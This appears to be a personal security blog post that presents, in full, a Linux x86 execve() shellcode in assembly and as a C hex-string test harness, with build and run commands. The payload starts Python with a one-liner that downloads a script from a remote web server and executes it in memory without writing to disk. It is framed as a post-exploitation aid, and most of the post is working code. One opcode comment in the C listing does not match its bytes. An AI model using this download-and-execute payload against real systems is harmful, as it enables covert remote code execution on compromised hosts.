This made me feel nostalgic and I have decided to pack all the shellcodes that I have written over the years into a tarball (linux_x86_shellcodes.tar.gz) and re-publish it.
The feedback I got was great, and it inspired me to go and write a new shellcode. So, I did.
I have written a new linux x86 execve() shellcode that executes the Python interpreter with a Python program passed in as string.
Why calling Python and not /bin/sh you ask? Because Python script makes it easier to customize and/or automate a penetration testing (especially post exploitation).
Python is a cross-platform programming language with a decent standard library, and is known to run on almost any operating system or hardware platform.
A Python script can query the OS, CPU, HOSTNAME, and even IP address, and based on this information to call different functions and/or use different parameters.
Shell script, as good as it may be, is still dependent on various binaries to be installed beforehand to be able to run successfully. Also, shell scripts are not cross-platform.
Let's have a look on how it works. Here's the shellcode source code:
.section .text
.global _start
_start:
push $0xb
pop %eax
cdq
push %edx
push $0x20292763
push $0x65786527
push $0x2c273e67
push $0x6e697274
push $0x733c272c
push $0x29286461
push $0x65722e29
push $0x2779702e
push $0x646c726f
push $0x776f6c6c
push $0x65682f32
push $0x34323834
push $0x3639322f
push $0x752f6d6f
push $0x632e786f
push $0x62706f72
push $0x642e6c64
push $0x2f2f3a70
push $0x74746827
push $0x286e6570
push $0x6f6c7275
push $0x2e326269
push $0x6c6c7275
push $0x28656c69
push $0x706d6f63
push $0x20636578
push $0x653b3262
push $0x696c6c72
push $0x75207472
push $0x6f706d69
mov %esp, %esi
push %edx
pushw $0x632d
mov %esp, %ecx
push %edx
push $0x6e6f6874
push $0x79702f6e
push $0x69622f72
push $0x73752f2f
mov %esp,%ebx
push %edx
push %esi
push %ecx
push %ebx
mov %esp,%ecx
int $0x80
What the shellcode does is call execve() syscall with '/usr/bin/python' as the filename argument, and '-c' and a one-line Python program as the argv array argument.There's no need for a cleanup code, as execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
Here is the Python one-line program source code:
import urllib2 ; exec compile(urllib2.urlopen('http://ikotler.org/helloworld.py').read(), '<string>', 'exec')
What the Python program does is import the urllib2 library and use it to retrieve a Python script from a remote Web server, and then compiles and executes it on the fly.More to it, The retrieved Python script remains in memory the whole time. The Python program does all of the above without writing any data to the hard drive.
Here is the retrieved Python script (i.e. helloworld.py) source code:
print "Hello, world"Depending on the nature of the retrieved Python script, it might be enough to just use eval() instead of exec and compile() combination in the one-line Python program.
In this case, print is a statement in Python 2.x and as such it can not be evaluated using eval(). in Python 3, print() is a function and can be evaluated using eval().
If in doubt, always use the exec and compile() combination.
To compile the shellcode source and test it:
$ as -o python-execve-urllib2-exec.o python-execve-urllib2-exec.s $ ld -o python-execve-urllib2-exec python-execve-urllib2-exec.o $ ./python-execve-urllib2-execThe output should be:
Hello, worldHere is the shellcode represented as a hex string within a C program:
char shellcode[] =
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cdq
"\x52" // push %edx
"\x68\x63\x27\x29\x20" // push $0x20292763
"\x68\x27\x65\x78\x65" // push $0x65786527
"\x68\x67\x3e\x27\x2c" // push $0x2c273e67
"\x68\x74\x72\x69\x6e" // push $0x6e697274
"\x68\x2c\x27\x3c\x73" // push $0x733c272c
"\x68\x61\x64\x28\x29" // push $0x29286461
"\x68\x29\x2e\x72\x65" // push $0x65722e29
"\x68\x2e\x70\x79\x27" // push $0x2779702e
"\x68\x6f\x72\x6c\x64" // push $0x646c726f
"\x68\x6c\x6c\x6f\x77" // push $0x776f6c6c
"\x68\x32\x2f\x68\x65" // push $0x65682f32
"\x68\x34\x38\x32\x34" // push $0x34323834
"\x68\x2f\x32\x39\x36" // push $0x3639322f
"\x68\x6f\x6d\x2f\x75" // push $0x752f6d6f
"\x68\x6f\x78\x2e\x63" // push $0x632e786f
"\x68\x72\x6f\x70\x62" // push $0x62706f72
"\x68\x64\x6c\x2e\x64" // push $0x642e6c64
"\x68\x70\x3a\x2f\x2f" // push $0x2f2f3a70
"\x68\x27\x68\x74\x74" // push $0x74746827
"\x68\x70\x65\x6e\x28" // push $0x286e6570
"\x68\x75\x72\x6c\x6f" // push $0x6f6c7275
"\x68\x69\x62\x32\x2e" // push $0x696c6c72
"\x68\x75\x72\x6c\x6c" // push $0x6c6c7275
"\x68\x69\x6c\x65\x28" // push $0x28656c69
"\x68\x63\x6f\x6d\x70" // push $0x706d6f63
"\x68\x78\x65\x63\x20" // push $0x20636578
"\x68\x62\x32\x3b\x65" // push $0x653b3262
"\x68\x72\x6c\x6c\x69" // push $0x696c6c72
"\x68\x72\x74\x20\x75" // push $0x75207472
"\x68\x69\x6d\x70\x6f" // push $0x6f706d69
"\x89\xe6" // mov %esp,%esi
"\x52" // push %edx
"\x66\x68\x2d\x63" // pushw $0x632d
"\x89\xe1" // mov %esp,%ecx
"\x52" // push %edx
"\x68\x74\x68\x6f\x6e" // push $0x6e6f6874
"\x68\x6e\x2f\x70\x79" // push $0x79702f6e
"\x68\x72\x2f\x62\x69" // push $0x69622f72
"\x68\x2f\x2f\x75\x73" // push $0x73752f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x56" // push %esi
"\x51" // push %ecx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
Again, to run and test it is as easy as:
$ gcc -o python-execve-urllib2-exec python-execve-urllib2-exec.c $ ./python-execve-urllib2-execThe output should be the same:
Hello, worldNow, I have also decided to open a GitHub repository to host the collection of shellcodes that I have written in the past, as well as any that I may write in the future.
I have committed both .S, and .C versions of this shellcode to it, as well as the rest of the shellcodes from the tarball.
The repository can be found at: https://github.com/ikotler/shellcode
Feel free to fork, and if you wish, to submit a pull-request and fix bug or suggest a change.

No comments:
Post a Comment